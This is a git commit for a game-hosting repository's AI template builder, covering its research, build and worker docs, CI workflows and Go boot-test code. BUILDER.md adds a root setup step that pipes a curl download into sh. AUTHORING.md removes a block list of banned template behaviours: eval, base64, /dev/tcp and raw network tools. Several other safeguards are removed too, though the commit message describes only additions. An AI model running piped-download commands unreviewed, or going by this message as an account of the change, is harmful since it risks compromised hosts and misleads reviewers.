feat(builder): research, build and a worker for the AI builder on our own hardware

- research: searches SearXNG, reads the best pages through the reader, has the
  model list the server's variants, then checks every Docker image and Steam
  app it named for real before an admin sees it.
- build: first boot of the variant's images (skipping ones that need root),
  a draft by the model, then the draft deployed with the node-agent's
  BootTest like CI does; crashes, error lines and saves outside /server go
  back to the model, three boots at most.
- worker: polls the panel's builder queue (outbound only), runs research or
  build in a fresh clone, streams the output as the job log, and opens the
  result as a pull request from gbr-bot.
- Dockerfile.builder, a workflow publishing gbr-builder:latest, compose and
  env files for the builder VM, and BUILDER.md.

draft now keeps its conversation in a drafter, so build can send boot
failures back to the same model session.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

.gitea/workflows/builder-image.yml

@@ -1,6 +1,6 @@
 name: Builder image
 
-# Publishes the AI builder worker image (gbrgames worker, see BUILDER.md).
+# Publishes the AI builder worker (gbrgames worker) used on the builder VM; watchtower there picks it up.
 on:
   push:
     branches: ["main"]

.gitea/workflows/validate.yml

@@ -5,10 +5,6 @@ name: Validate game templates
 # still checked through their push.
 on:
   push:
-  # Weekly: boot-test every game, so a template that stopped working (a game update, a changed image)
-  # is found before players are, and a repair is queued for the AI builder
-  schedule:
-    - cron: "0 6 * * 1"
   workflow_dispatch:
     inputs:
       games:
@@ -50,8 +46,6 @@ jobs:
         run: |
           if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then
             games=$(scripts/changed-games.sh "${{ inputs.games }}")
-          elif [ "${{ github.event_name }}" = "schedule" ]; then
-            games=$(scripts/changed-games.sh all)
           elif [ "${{ github.ref }}" = "refs/heads/main" ]; then
             before="${{ github.event.before }}"
             if [ -z "$before" ] || ! git cat-file -e "$before" 2>/dev/null; then
@@ -68,7 +62,7 @@ jobs:
   boot-test:
     needs: validate
     if: needs.validate.outputs.games != ''
-    # A dedicated runner whose game containers can reach the internet but not private networks
+    # A dedicated runner on VM 116 whose game containers can reach the internet but not the LAN
     runs-on: game-test
     steps:
       - name: Checkout Code
@@ -84,26 +78,10 @@ jobs:
 
       # Secrets named in a game's test.yaml must be listed here to reach the boot test
       - name: Boot test changed games
-        id: boottest
         env:
           DRAGONWILDS_OWNER_ID: ${{ secrets.DRAGONWILDS_OWNER_ID }}
         run: scripts/boot-test.sh ${{ needs.validate.outputs.games }}
 
-      # The weekly run: each game that no longer boots gets a repair job in the panel; the AI builder takes
-      # it, and opens a pull request with the fix
-      - name: Queue repairs for games that stopped booting
-        if: failure() && github.event_name == 'schedule' && steps.boottest.outputs.failed != ''
-        env:
-          PANEL_WEBHOOK_SECRET: ${{ secrets.PANEL_WEBHOOK_SECRET }}
-        run: |
-          games=$(printf '"%s",' ${{ steps.boottest.outputs.failed }})
-          curl -sS --fail-with-body --max-time 30 --retry 3 --retry-delay 10 \
-            -X POST "${{ env.PANEL_WEBHOOK_URL }}" \
-            -H "Content-Type: application/json" \
-            -H "X-Gitea-Token: $PANEL_WEBHOOK_SECRET" \
-            -H "X-GBR-Event: games_boot_failed" \
-            -d "{\"games\":[${games%,}],\"run\":\"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\"}"
-
   # main is the source of truth: send every template to the panel, which saves the changed ones
   # (new games arrive disabled). Runs only if the changed games booted, or none changed.
   publish:

AUTHORING.md

@@ -34,79 +34,34 @@ Know this before writing anything:
   **Never put a placeholder or default password in a template.** Shared defaults are readable by anyone
   from the public game list.
 - Join passwords stay `""`, with `"x-savedValue": {"key": "GAME_JOIN_PASSWORD", "label": "Game join password", "secret": true}`.
-  If the server can't start without one, give it `"x-generate": {"type": "password"}` as well, so every new server
-  gets its own. Boot tests run with exactly what a new server gets: empty settings stay empty.
 - No real credentials, tokens or IDs anywhere in this repo. A value a server can't start without (a
   player ID, a license token) goes in `test.yaml` under `secrets`, mapped to a CI secret name.
 
-### The image: SteamCMD first
-- If the game's dedicated server is on Steam and ships a Linux build, the template is
-  `defaultDockerImage: cm2network/steamcmd` with `installMethod: STEAMCMD` and the **server's** app id
-  (not the game's). Never a community image of that server (`wolveix/...`, `lloesche/...` and the like):
-  they keep game files and saves in their own folders (`/config`, `/home/<user>`), outside `/server`, so
-  everything is lost on the next start, and no setting can move them.
-- Community images are only for servers that aren't on Steam for Linux: Windows-only servers that need
-  Proton or Wine, and games not on Steam.
-- Many Linux servers save under `$HOME` (Unreal Engine games: `~/.config/Epic/<Game>/Saved`). In
-  `cm2network/steamcmd`, `$HOME` is `/home/steam`, outside the volume. Start the command with
-  `export HOME=/server;` so those saves land in the volume, and list them in `backupPaths` relative to
-  `/server` (e.g. `.config/Epic/<Game>/Saved/SaveGames`).
-
 ### Ports
 - `defaultPorts` lists **only what players connect to** (game and query ports). RCON, REST and admin
   ports are **never** published.
 - Use `"7777/udp"` or `"8211:8211/udp"`. Every port needs its protocol.
-- A port the game uses over both protocols is listed twice: `"7777/udp"` and `"7777/tcp"`.
-- A game that tells players a second port (a reliable-messaging or query port it announces) needs it as
-  `{PUBLIC_PORT_<port>}` passed to the game's "external port" option, since nodes may publish it elsewhere.
-- Nodes always publish these container ports (only the host side moves when servers share a node).
-  So the game's own port is **not a setting**: write it into the startup command or config file. A
-  game that must announce the port players use gets `{PUBLIC_PORT_<port>}`.
 
 ### The container user
 - Run `gbrgames inspect-image -game <id>`. If the image is built around its own user (it declares
-  `USER`, or locks a home folder to a uid other than 1000), set `containerUser` to that `uid:gid`, as
-  the inspector reports it.
+  `USER`, or locks a home folder to a uid other than 1000), set `containerUser` to that `uid:gid`.
+  Example: ARK's image needs `25000:25000`.
 
 ### The startup command
 - Read settings under the names the agent gives them (see above). `${RCON_PORT}` when the setting is
   `RCONPort` silently ignores the owner's value; it arrives as `RCONPORT`.
 - Use `${VAR:-default}` for anything that may be unset.
-- Only use launch options the game's documentation lists, spelled as it spells them. Servers ignore options
-  they don't know, so an invented one boots fine and its setting does nothing.
-- Quote text settings where they're used: `-name "${SERVER_NAME}"`. `ARGS="-name ${SERVER_NAME}"; ./server $ARGS`
-  splits "GBRHosting - My Server" into words; build optional arguments in a bash array instead
-  (`args=(-name "$SERVER_NAME"); [ -n "$PASSWORD" ] && args+=(-password "$PASSWORD"); ./server "${args[@]}"`).
-- Templates run on players' own machines. The startup command and install never pipe a download into a
-  shell, decode hidden (base64) content, use `eval`, raw network tools or `/dev/tcp`, become another user,
-  or touch the machine (`/etc`, cron, systemd, firewall). Files a server needs come from `installMethod`
-  or `installConfig.files`, from the game's official source; every download address is listed for review.
 - If the image installs the game itself on start, make sure a failed install is retried rather than
-  starting a server that isn't there: log in to SteamCMD once (`+login anonymous +quit`) before the
-  install, and retry the install a few times until the server's executable exists.
+  starting a server that isn't there (see ARK's template).
 
 ### Memory
 - `requiredMemoryMb` is the container's hard limit. A JVM or engine heap must stay about **1 GB below**
-  it: a `3G` heap for `4096` MB. A heap equal to the limit is killed on start.
+  it: Minecraft's `MEMORY` is `3G` for `4096` MB. A heap equal to the limit is killed on start.
 
 ### Settings (`defaultConfig` and `configSchema`)
 - Take keys and default values from what the server really writes: run
   `gbrgames first-boot -game <id>` and read the settings in its report.
 - Every key in `defaultConfig` has a `configSchema` property, and the other way round.
-- **Every setting must reach the server.** Settings only arrive as environment variables (and in
-  `configFilePath`, if set). A server that doesn't read environment variables (most official servers,
-  every Unreal Engine server) ignores a setting unless the template delivers it: in `configFilePath`, as a
-  launch option the startup command builds from the variable, or written into the server's own config
-  file by the startup command before it starts. A setting that nothing reads looks editable in the panel
-  and does nothing: leave it out instead.
-- `configFilePath` writes **every** setting into **one** file. When a server reads its settings from
-  several files (Unreal: `Game.ini`, `Engine.ini`, `GameUserSettings.ini` under
-  `<Game>/Saved/Config/LinuxServer/`), leave `configFilePath` out and write each file from the startup
-  command before the server starts:
-  `printf '[/Script/Engine.GameSession]\nMaxPlayers=%s\n' "${MAX_PLAYERS:-4}" > "$cfg/Game.ini";`.
-  The server may rewrite these files when it stops; writing them on every start keeps the panel in charge.
-- Never carry over a community image's variable names (`MAXPLAYERS`, `AUTOSAVENUM`, `PUID`, `SKIPUPDATE`...)
-  into a SteamCMD template: only that image's own scripts read them. Use the game's real setting names.
 - Every property has a `title`, a short `description` for a player, a `type`, a `default` equal to the
   `defaultConfig` value, and a `category`: one of `Security & Access`, `Gameplay & Rules`,
   `World & Environment`, `System & General`. Mark the few that matter when deploying with
@@ -124,8 +79,6 @@ Know this before writing anything:
 - `failPatterns`: lines that mean the server will never come up (e.g. an unaccepted EULA).
 - No reliable ready line: leave `readyPattern` out, and the boot test checks the server stays up
   (`settleSec` in `test.yaml`, default 120 s).
-- After its ready line the server must stay up for `holdSec` (default 60 s), and then listen on every port in
-  `defaultPorts`. A server that binds other ports, or only `127.0.0.1`, fails: players can't reach it.
 
 ### `test.yaml`
 - `config`: only what the server can't start without in CI (accepting the EULA, for example).

BUILDER.md

@@ -1,15 +1,15 @@
 # AI builder (gbrgames worker)
 
-The panel's **AI builder** (Admin → Games → AI Config Generator) is run by a worker we host ourselves.
-The panel only keeps a queue; every result is a pull request to this repo, which CI validates and
-boot-tests like any other.
+The panel's **AI builder** (Admin → Games → AI Config Generator) is run by a worker on our own hardware,
+not on the panel's droplet and not in CI:
 
 ```
-Panel                                     Builder worker (gbrgames worker, Docker)
-─────                                     ─────────────────────────────────────────
-admin starts a job ──► queued    ◄─poll── research: web search + page reader + model
-progress / log / variants        ◄─post── build: first boot → draft → boot with the node-agent
-"Review draft PR"                         → branch draft/<id>-<job> + PR as the bot ──► CI (validate + boot test)
+Panel (droplet)                           Builder VM (home lab)
+───────────────                           ─────────────────────────────────────────────
+admin starts a job ──► queued    ◄─poll── gbrgames worker (Docker)
+progress / log / variants        ◄─post──   research: SearXNG + page reader + Ollama (3090)
+"Review draft PR"                           build: first boot → draft → boot with the node-agent
+                                            → branch draft/<id>-<job> + PR as gbr-bot ──► CI (validate + boot test)
 ```
 
 1. **Research** (`gbrgames research -name N`): searches the web, reads the best pages, and has the model list
@@ -19,76 +19,70 @@ progress / log / variants        ◄─post── build: first boot → draft
 2. The admin picks a variant in the panel.
 3. **Build** (`gbrgames build -name N -variant @v.json`): first boot of the image untouched (`first-boot`), a
    draft by the model (`draft`, rules in `AUTHORING.md`), then the draft is deployed with the node-agent's
-   `BootTest`, the same check CI runs. A failed boot is investigated before the model changes anything
-   (see below).
-
-   **Every** server the builder starts, first boots included, is deployed by the node-agent's own code, so
-   it runs exactly as on a node. A boot passes when the server reaches its ready line, stays up for
-   `holdSec` (60 s) after it, and listens on every port the template publishes. Files the server writes
-   anywhere but `/server` and `/data` (the image's own `VOLUME` folders included) are reported as lost:
-   nodes recreate the container on every start.
-
-   Steam games are downloaded once per build into a cache volume (`gbr-steamcache-<app>`, labelled
-   `gbr.cache`) and copied into each boot, so later boots only check the files. `STEAM_CACHE=off` turns
-   it off.
-4. The worker pushes `games/<id>/` to a branch and opens a pull request as the bot account. A draft that
+   `BootTest`, the same check CI runs. Failures (crash, error lines, saves written outside `/server`) go
+   back to the model, three boots at most.
+4. The worker pushes `games/<id>/` to a branch and opens a pull request as **gbr-bot**. A draft that
    validates but never booted still gets a PR, titled `WIP:`, with what's left listed. Nothing reaches
    players until a person merges it and enables the game.
 
-The builder is **game-agnostic**: everything about a game comes from that game's research, first boot and
-boot tests. No game's name, id or code may appear in the builder's source, its rules for the model
-(`AUTHORING.md`), the schemas or this file, and the model is never shown another game's template (its format
-example is an invented server). `TestBuilderIsGameAgnostic` fails the build if one does.
+The worker only connects out (to the panel, Gitea, Ollama, SearXNG); nothing needs to reach the VM.
 
-The worker only connects out (to the panel, Gitea, the model and the search services).
+## The VM
 
-## Keeping games working
+A Proxmox VM of its own, so builds never compete with CI boot tests on VM 126: Debian 13, 4+ cores
+(`host` CPU type), 24 GB RAM (ARK-sized servers need ~16 GB), 150 GB disk (SteamCMD downloads), Docker.
 
-- **Repair** (`gbrgames repair -id ID`): boots an existing template as nodes run it. If it boots, there is
-  nothing to do. If not, the same investigation as for a draft runs, the model changes only what the
-  diagnosis says, and the worker opens `fix(games): repair …` on `draft/<id>` (replacing any open draft of
-  that game). The panel queues repairs from a game's admin page, or by itself (next point).
-- **Weekly check**: `validate.yml` boot-tests every game each Monday. Each game that no longer boots is sent
-  to the panel (`X-GBR-Event: games_boot_failed`), which queues a repair job for it.
-- **Eval** (`gbrgames eval -ids all`): builds games that already have a template from scratch, blind (the
-  builder never reads `games/`, and research skips our own sites), and scores each draft against the merged
-  template: boots, same image and Steam app, same ports, ready line, settings found. Run it before and after
-  changing the builder or the model. It takes as long as the builds; on the builder VM:
+```bash
+# as root
+curl -fsSL https://get.docker.com | sh
+git clone https://www.gitea.gbreed.com/gbreed-public/gbr-games.git /opt/gbr-games
+```
 
-  ```bash
-  docker exec gbr-builder sh -c 'cd /work && rm -rf eval && git clone -q https://www.gitea.gbreed.com/gbreed-public/gbr-games.git eval && cd eval && gbrgames eval -ids all -out eval.md && cat eval.md'
-  ```
+**Isolated network:** game servers booted here must not reach the LAN. Same setup as the runner
+(`RUNNER.md`, step 1):
 
-## Requirements
+```bash
+mkdir -p /opt/gbr-boottest
+cp /opt/gbr-games/scripts/runner/setup-boottest-network.sh /opt/gbr-boottest/
+chmod +x /opt/gbr-boottest/setup-boottest-network.sh
+cp /opt/gbr-games/scripts/runner/gbr-boottest-network.service /etc/systemd/system/
+systemctl daemon-reload && systemctl enable --now gbr-boottest-network
+```
 
-A Docker host with the isolated `gbr-boottest` network (`RUNNER.md`, step 1), so servers booted by the
-builder can't reach private networks. Enough memory for the largest server it builds (the biggest need ~16 GB) and
-disk for SteamCMD downloads. The image `gbr-builder:latest` is published by
-`.gitea/workflows/builder-image.yml` whenever `cmd/` changes on main.
+**Worker:**
 
-## Configuration
+```bash
+mkdir -p /opt/gbr-builder/work && cd /opt/gbr-builder
+cp /opt/gbr-games/scripts/builder/docker-compose.yml .
+cp /opt/gbr-games/scripts/builder/env.example .env && chmod 600 .env   # then fill it in
+docker compose up -d && docker logs -f gbr-builder
+```
 
-All through environment variables; nothing about where it runs lives in this repo.
+`gbr-builder:latest` is published by `.gitea/workflows/builder-image.yml` whenever `cmd/` changes on
+main; watchtower on the VM updates the worker within five minutes.
 
-| Variable | What |
-| --- | --- |
-| `PANEL_URL` | The panel the worker takes jobs from |
-| `BUILDER_TOKEN` | Shared secret the panel checks on `/api/v1/builder/**` (same value in the panel's env) |
-| `GITEA_TOKEN` | The bot account's token (repository read/write; the account needs Write on this repo): pushes draft branches, opens PRs as that account. Checked when the worker starts |
-| `OLLAMA_URL` | Ollama for the model (or `MODEL_PROVIDER=gemini` with `GEMINI_API_KEY`) |
-| `SEARXNG_URL`, `READER_URL` | A SearXNG instance (JSON API) and a page-to-text reader (`READER_URL/<page url>`) |
-| `MODEL`, `POLL_INTERVAL`, `WORKER_NAME`, `WORK_DIR` | Optional: model name, poll interval (20s), name shown in the panel, work folder |
-| `BOT_NAME` | Optional: commit author when the token can't read its own account (no `read:user` scope); default `gbr-bot` |
+## Accounts and secrets
+
+| Where | Name | What |
+| --- | --- | --- |
+| Builder `.env` | `GITEA_TOKEN` | Token of the **gbr-bot** Gitea user (Write on `gbr-games`, scope repository read/write) |
+| Builder `.env` + panel env | `BUILDER_TOKEN` | Shared secret the panel checks on `/api/v1/builder/**`; any long random string |
+| Builder `.env` | `OLLAMA_URL`, `SEARXNG_URL`, `READER_URL` | The 3090's Ollama, SearXNG, and the page reader |
 
 ## Running a build by hand
 
-On any machine with Docker and the `gbr-boottest` network, with `OLLAMA_URL`, `SEARXNG_URL` and
-`READER_URL` set:
+On any machine with Docker and the `gbr-boottest` network (the builder VM, or the runner):
 
 ```bash
-go run ./cmd/gbrgames research -name "<game>" -out research.json
+export OLLAMA_URL=http://192.168.4.30:11434 SEARXNG_URL=http://192.168.4.38:8080 READER_URL=http://192.168.4.38:3000
+go run ./cmd/gbrgames research -name Valheim -out research.json
 # pick a variant from research.json into v.json, then:
-go run ./cmd/gbrgames build -name "<game>" -variant @v.json -out build.json
+go run ./cmd/gbrgames build -name Valheim -variant @v.json -out build.json
 ```
 
 The draft lands in `games/<id>/`, first-boot reports in `firstboot-out/`.
+
+## Housekeeping
+
+Like the runner: a weekly `docker system prune -af --filter "until=168h"` keeps images and SteamCMD
+downloads in check. Each job removes its clone; boot tests remove their containers and volumes.

Dockerfile.builder

@@ -1,4 +1,4 @@
-# The AI builder worker (gbrgames worker); see BUILDER.md.
+# The AI builder worker (gbrgames worker), run on our own builder VM; see BUILDER.md.
 FROM golang:1.24-alpine AS build
 WORKDIR /src
 COPY go.mod go.sum ./

RUNNER.md

@@ -51,23 +51,5 @@ the org or repo, and the workflow passes it through (see the `env:` of the boot-
 
 ## Housekeeping
 
-Game images and SteamCMD downloads add up; each test removes its own container and volume. Clean up
-weekly (cron or a systemd timer) with:
-
-```bash
-docker container prune -f
-docker image prune -af --filter "until=168h"
-docker volume prune -af --filter "label!=gbr.cache"
-```
-
-Not `docker system prune`: it also deletes the `gbr-boottest` network whenever no container is using it,
-and boot tests then refuse to run until `systemctl restart gbr-boottest-network`.
-
-### Steam download cache
-
-Boot tests of Steam games (`installMethod: STEAMCMD`) start from a cached install, one Docker volume per
-app (`gbr-steamcache-<app id>`, label `gbr.cache=steam`), the same cache the AI builder uses. The
-cache is updated at most once a day; the node-agent's own install then only checks the files and
-fetches what changed. So Steam isn't asked for the whole game on every run, which keeps traffic from
-this machine's address low. The prune above keeps these volumes. To drop one game's cache:
-`docker volume rm gbr-steamcache-<app id>`; `STEAM_CACHE=off` turns the cache off.
+Game images and SteamCMD downloads add up. A weekly `docker system prune -af --filter "until=168h"`
+(cron or a systemd timer) keeps the disk in check; each test removes its own container and volume.

cmd/gbrgames/agentboot.go

@@ -1,168 +0,0 @@
-package main
-
-import (
-	"bytes"
-	"encoding/json"
-	"errors"
-	"flag"
-	"fmt"
-	"os"
-	"os/exec"
-	"regexp"
-	"strconv"
-	"strings"
-	"time"
-)
-
-// Every server the builder starts, first boots included, is deployed by the node-agent's own code
-// (BootTest), the same code that runs servers on nodes and in CI, so what the builder sees is what a
-// node does. This file runs it and keeps the Steam download cache that makes repeated boots cheap.
-
-func agentImageFromEnv() string {
-	if img := os.Getenv("AGENT_IMAGE"); img != "" {
-		return img
-	}
-	return defaultAgentImage
-}
-
-// pullAgentImage fetches the latest node-agent image. A copy that is only local (a test build) is used as
-// it is.
-func pullAgentImage(img string) error {
-	out, err := runCmd("docker", "pull", "-q", img)
-	if err == nil {
-		return nil
-	}
-	if _, inspectErr := runCmd("docker", "image", "inspect", img); inspectErr == nil {
-		fmt.Printf("[agent] could not pull %s (%s); using the local copy\n", img, firstLine(out))
-		return nil
-	}
-	return fmt.Errorf("docker pull %s: %v: %s", img, err, out)
-}
-
-// runAgentBootTest deploys a payload with BootTest and returns its output; passed is its verdict.
-func runAgentBootTest(payload map[string]any, agentImage string) (output string, passed bool, err error) {
-	container := fmt.Sprint(payload["containerName"])
-	// A run that was killed (worker restarted mid-build) leaves its container and volume behind, and the
-	// next deploy under the same name would trip over them
-	runCmd("docker", "rm", "-f", "-v", container)
-	runCmd("docker", "volume", "rm", "-f", container+"-data")
-	if payload["installMethod"] == "STEAMCMD" {
-		if ic, ok := payload["installConfig"].(map[string]any); ok && ic["appId"] != nil {
-			seedSteamApp(fmt.Sprint(ic["appId"]), container+"-data")
-		}
-	}
-	raw, err := json.Marshal(payload)
-	if err != nil {
-		return "", false, err
-	}
-	cmd := exec.Command("docker", "run", "--rm", "-i", "-v", "/var/run/docker.sock:/var/run/docker.sock",
-		"--entrypoint", "java", agentImage, "-Dloader.main=com.gbreed.gbr.nodeagent.BootTest", "-cp", "app.jar",
-		"org.springframework.boot.loader.launch.PropertiesLauncher")
-	cmd.Stdin = bytes.NewReader(raw)
-	var out bytes.Buffer
-	cmd.Stdout = &teeWriter{&out}
-	cmd.Stderr = cmd.Stdout
-	if runErr := cmd.Run(); runErr != nil {
-		var exitErr *exec.ExitError
-		if !errors.As(runErr, &exitErr) {
-			return "", false, runErr
-		}
-		return out.String(), false, nil
-	}
-	return out.String(), true, nil
-}
-
-// Steam apps whose cached install is up to date in this run (one build or first boot)
-var steamCacheFresh = map[string]bool{}
-
-var numericAppID = regexp.MustCompile(`^\d+$`)
-
-// When the cache was last updated, in the cache volume (not copied into servers)
-const steamCacheStamp = ".gbr-cache-updated"
-
-// steamCacheMaxAge: a cache updated more recently isn't updated again, which saves Steam a login and an
-// update check per boot; the node-agent's own install still fetches anything newer
-const steamCacheMaxAge = 24 * time.Hour
-
-// seedSteamApp fills a server volume from a cached SteamCMD install of the app, so a boot doesn't
-// download the whole game again: the node-agent's own install then only checks the files. The cache is
-// updated at most once a day. Without it (STEAM_CACHE=off, or the update failing) the agent downloads as usual.
-func seedSteamApp(appID, volume string) {
-	if os.Getenv("STEAM_CACHE") == "off" || !numericAppID.MatchString(appID) {
-		return
-	}
-	cache := "gbr-steamcache-" + appID
-	if !steamCacheFresh[appID] && steamCacheUpdatedWithin(cache, steamCacheMaxAge) {
-		fmt.Printf("[steam-cache] the cached install of Steam app %s was updated in the last %s\n", appID, steamCacheMaxAge)
-		steamCacheFresh[appID] = true
-	}
-	if !steamCacheFresh[appID] {
-		fmt.Printf("[steam-cache] updating the cached install of Steam app %s\n", appID)
-		if out, err := runCmd("docker", "volume", "create", "--label", "gbr.cache=steam", cache); err != nil {
-			fmt.Printf("[steam-cache] %v: %s\n", err, out)
-			return
-		}
-		runCmd("docker", "run", "--rm", "-v", cache+":/server", "alpine", "chown", "-R", nodeUser, "/server")
-		// SteamCMD's first install on a fresh client sometimes fails ("Missing configuration") until it has
-		// logged in once; retried a few times
-		script := "s=/home/steam/steamcmd/steamcmd.sh; $s +login anonymous +quit >/dev/null; for i in 1 2 3; do " +
-			"$s +force_install_dir /server +login anonymous +app_update " + appID + " +quit && exit 0; sleep 15; done; exit 1"
-		cmd := exec.Command("docker", "run", "--rm", "--network", bootTestNetwork, "-v", cache+":/server", "cm2network/steamcmd", "bash", "-c", script)
-		cmd.Stdout, cmd.Stderr = os.Stdout, os.Stderr
-		if err := cmd.Run(); err != nil {
-			fmt.Printf("[steam-cache] update failed (%v); the boot downloads the app itself\n", err)
-			return
-		}
-		runCmd("docker", "run", "--rm", "-v", cache+":/server", "alpine", "sh", "-c",
-			fmt.Sprintf("date +%%s > /server/%s", steamCacheStamp))
-		steamCacheFresh[appID] = true
-	}
-	runCmd("docker", "volume", "create", volume)
-	if out, err := runCmd("docker", "run", "--rm", "-v", cache+":/from:ro", "-v", volume+":/to", "alpine", "sh", "-c",
-		"cp -a /from/. /to/ && rm -f /to/"+steamCacheStamp); err != nil {
-		fmt.Printf("[steam-cache] copying into %s failed (%v: %s); the boot downloads the app itself\n", volume, err, out)
-		return
-	}
-	fmt.Printf("[steam-cache] %s seeded from the cached install of app %s\n", volume, appID)
-}
-
-func steamCacheUpdatedWithin(cache string, age time.Duration) bool {
-	out, err := runCmd("docker", "run", "--rm", "-v", cache+":/c:ro", "alpine", "cat", "/c/"+steamCacheStamp)
-	if err != nil {
-		return false
-	}
-	return stampWithin(out, time.Now(), age)
-}
-
-func stampWithin(stamp string, now time.Time, age time.Duration) bool {
-	secs, err := strconv.ParseInt(strings.TrimSpace(stamp), 10, 64)
-	return err == nil && now.Sub(time.Unix(secs, 0)) < age
-}
-
-// runBootTest boot-tests one game the way CI does: its real payload, deployed by the node-agent, with
-// the Steam download cache. Exits 3 when a secret it needs isn't set, 1 when it fails.
-func runBootTest(args []string) error {
-	fs := flag.NewFlagSet("boot-test", flag.ExitOnError)
-	gamesDir := fs.String("games", "games", "directory holding one folder per game")
-	fs.Parse(args)
-	if fs.NArg() != 1 {
-		return errors.New("boot-test needs a game id")
-	}
-	payload, err := bootTestPayload(*gamesDir, fs.Arg(0), false)
-	var missing *missingSecretError
-	if errors.As(err, &missing) {
-		fmt.Fprintln(os.Stderr, "skip: "+missing.Error())
-		os.Exit(exitMissingSecret)
-	}
-	if err != nil {
-		return err
-	}
-	_, passed, err := runAgentBootTest(payload, agentImageFromEnv())
-	if err != nil {
-		return err
-	}
-	if !passed {
-		os.Exit(1)
-	}
-	return nil
-}

cmd/gbrgames/agnostic_test.go

@@ -1,51 +0,0 @@
-package main
-
-import (
-	"os"
-	"path/filepath"
-	"regexp"
-	"strings"
-	"testing"
-)
-
-// The builder must work the same for every game: no game's name, id or code in its source, its rules for
-// the model (AUTHORING.md), the schemas sent with every draft, or its docs. Games are read from games/,
-// so a newly merged template is covered as soon as it lands.
-func TestBuilderIsGameAgnostic(t *testing.T) {
-	root := filepath.Join("..", "..")
-	templates, _ := filepath.Glob(filepath.Join(root, "games", "*", "game.yaml"))
-	if len(templates) == 0 {
-		t.Fatal("no templates found to check against")
-	}
-	var names []string
-	for _, f := range templates {
-		g, err := loadMap(f)
-		if err != nil {
-			continue
-		}
-		for _, key := range []string{"id", "name"} {
-			if s, _ := g[key].(string); len(s) > 2 {
-				names = append(names, s)
-			}
-		}
-	}
-
-	files, _ := filepath.Glob("*.go")
-	files = append(files, filepath.Join(root, "AUTHORING.md"), filepath.Join(root, "BUILDER.md"))
-	schemas, _ := filepath.Glob(filepath.Join(root, "schema", "*.json"))
-	files = append(files, schemas...)
-	for _, f := range files {
-		raw, err := os.ReadFile(f)
-		if err != nil {
-			t.Fatal(err)
-		}
-		text := string(raw)
-		for _, n := range names {
-			re := regexp.MustCompile(`(?i)(^|[^A-Za-z0-9])` + regexp.QuoteMeta(n) + `($|[^A-Za-z0-9])`)
-			if loc := re.FindStringIndex(text); loc != nil {
-				line := strings.Count(text[:loc[0]], "\n") + 1
-				t.Errorf("%s:%d mentions %q: the builder must not name or copy any game", f, line, n)
-			}
-		}
-	}
-}

cmd/gbrgames/boottest.go

@@ -32,56 +32,21 @@ func runBootTestPayload(args []string) error {
 	fs := flag.NewFlagSet("boottest-payload", flag.ExitOnError)
 	gamesDir := fs.String("games", "games", "directory holding one folder per game")
 	out := fs.String("out", "", "file to write (default stdout)")
-	fillBlank := fs.Bool("fill-blank-passwords", false, "also give blank password settings a throwaway value. Never for a "+
-		"boot test: a real server doesn't get one. Only the AI builder uses it, to find out whether an empty setting is "+
-		"why a draft fails")
-	keep := fs.Bool("keep", false, "leave the container and its volume after the test, for inspection")
 	fs.Parse(args)
 	if fs.NArg() != 1 {
 		return errors.New("boottest-payload needs a game id")
 	}
-	payload, err := bootTestPayload(*gamesDir, fs.Arg(0), *fillBlank)
-	var missing *missingSecretError
-	if errors.As(err, &missing) {
-		fmt.Fprintln(os.Stderr, "skip: "+missing.Error())
-		os.Exit(exitMissingSecret)
-	}
-	if err != nil {
-		return err
-	}
-	if *keep {
-		payload["keepContainer"] = true
-	}
-	b, err := json.MarshalIndent(payload, "", "  ")
-	if err != nil {
-		return err
-	}
-	if *out == "" {
-		_, err = os.Stdout.Write(b)
-		return err
-	}
-	return os.WriteFile(*out, b, 0o644)
-}
+	id := fs.Arg(0)
+	dir := filepath.Join(*gamesDir, id)
 
-type missingSecretError struct{ game, secret, key string }
-
-func (e *missingSecretError) Error() string {
-	return fmt.Sprintf("%s needs secret %s for %s", e.game, e.secret, e.key)
-}
-
-// bootTestPayload builds the DEPLOY_SERVER message the panel would send for a game, plus the boot-test
-// settings BootTest reads: ready and fail patterns, timeouts, how long the server must stay up after it is
-// ready, and the container ports it must then listen on.
-func bootTestPayload(gamesDir, id string, fillBlank bool) (map[string]any, error) {
-	dir := filepath.Join(gamesDir, id)
 	g, err := loadMap(filepath.Join(dir, "game.yaml"))
 	if err != nil {
-		return nil, err
+		return err
 	}
 	test := map[string]any{}
 	if _, err := os.Stat(filepath.Join(dir, "test.yaml")); err == nil {
 		if test, err = loadMap(filepath.Join(dir, "test.yaml")); err != nil {
-			return nil, err
+			return err
 		}
 	}
 
@@ -100,17 +65,17 @@ func bootTestPayload(gamesDir, id string, fillBlank bool) (map[string]any, error
 		for key, name := range s {
 			value, ok := os.LookupEnv(fmt.Sprint(name))
 			if !ok || value == "" {
-				return nil, &missingSecretError{game: id, secret: fmt.Sprint(name), key: key}
+				fmt.Fprintf(os.Stderr, "skip: %s needs secret %s for %s\n", id, name, key)
+				os.Exit(exitMissingSecret)
 			}
 			config[key] = value
 		}
 	}
-	// Exactly what a new server gets: the panel fills blank x-generate fields on deploy and nothing else, so
-	// the boot test does too. Filling other blank passwords hid templates whose server won't start without
-	// one: they passed CI and failed on the first real deploy.
+	// Like the panel fills blank x-generate fields on deploy; other blank passwords (which an owner
+	// would type in, and some games refuse to start without) get a throwaway value too
 	for key, p := range schemaProperties(g) {
 		prop, _ := p.(map[string]any)
-		if prop["x-generate"] == nil && (!fillBlank || !passwordKey.MatchString(key)) {
+		if prop["x-generate"] == nil && !passwordKey.MatchString(key) {
 			continue
 		}
 		// Only missing or empty text: ports, booleans and other values are never touched
@@ -124,43 +89,22 @@ func bootTestPayload(gamesDir, id string, fillBlank bool) (map[string]any, error
 		}
 	}
 
-	timeout, settle, hold := 900, 120, 60
+	timeout, settle := 900, 120
 	if g["installMethod"] == "STEAMCMD" {
 		timeout = 2400
 	}
-	for key, dst := range map[string]*int{"timeoutSec": &timeout, "settleSec": &settle, "holdSec": &hold} {
-		if v, ok := test[key].(json.Number); ok {
-			if n, err := v.Int64(); err == nil {
-				*dst = int(n)
-			}
+	if v, ok := test["timeoutSec"].(json.Number); ok {
+		if n, err := v.Int64(); err == nil {
+			timeout = int(n)
 		}
 	}
-	// Once up, the server must listen on what nodes publish: the container side of every default port
-	// test.yaml's unboundPorts are published but only opened once a player connects; each is listed by
-	// hand, with the reason in a comment
-	unbound := map[string]bool{}
-	if list, ok := test["unboundPorts"].([]any); ok {
-		for _, p := range list {
